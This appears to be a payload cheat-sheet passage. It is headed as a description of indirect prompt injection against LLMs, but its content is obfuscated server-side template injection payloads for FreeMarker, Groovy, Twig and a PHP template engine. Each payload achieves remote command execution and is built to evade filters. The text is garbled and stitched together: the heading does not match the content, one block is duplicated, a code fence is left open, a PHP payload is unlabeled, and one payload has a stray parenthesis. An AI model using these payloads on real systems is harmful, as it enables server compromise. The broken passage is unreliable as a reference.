## Indirect Prompt Injection

Indirect Prompt Injection is a type of security vulnerability that occurs in systems using AI, particularly Large Language Models (LLMs), where user-provided input is processed without proper sanitization. This type of attack is "indirect" because the malicious payload is not directly inserted by the attacker into the conversation or query but is embedded in external data sources that the AI accesses and uses during its processing.

### Freemarker - Code Execution with Obfuscation

FreeMarker offers the built-in function: `lower_abc`. This function converts int-based values into alphabetic strings, but not in the way you might expect from functions such as `chr` in Python, as the [documentation for lower_abc explains](https://freemarker.apache.org/docs/ref_builtins_number.html#ref_builtin_lower_abc):

If you wanted a string that represents the string: "id", you could use the payload: `${9?lower_abc+4?lower_abc)}`.

Chaining `lower_abc` to perform code execution (command: `id`):

```js
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}
```

### Groovy - Command Execution with Obfuscation

You can bypass security filters by constructing strings from ASCII codes and executing them as system commands.

Payload represent the string: `id`: `${((char)105).toString()+((char)100).toString()}`.

Execute system command (command: `id`):

```groovy
${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}

```php
{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}

### Twig - Code Execution with Obfuscation

Twig's block feature and built-in `_charset` variable can be nesting can be used to produced the payload (command: `id`)

```twig
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
```

The following payload, which harnesses the built-in `_context` variable, also achieves RCE – provided that the template engine performs a double-rendering process:

```twig
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}
```
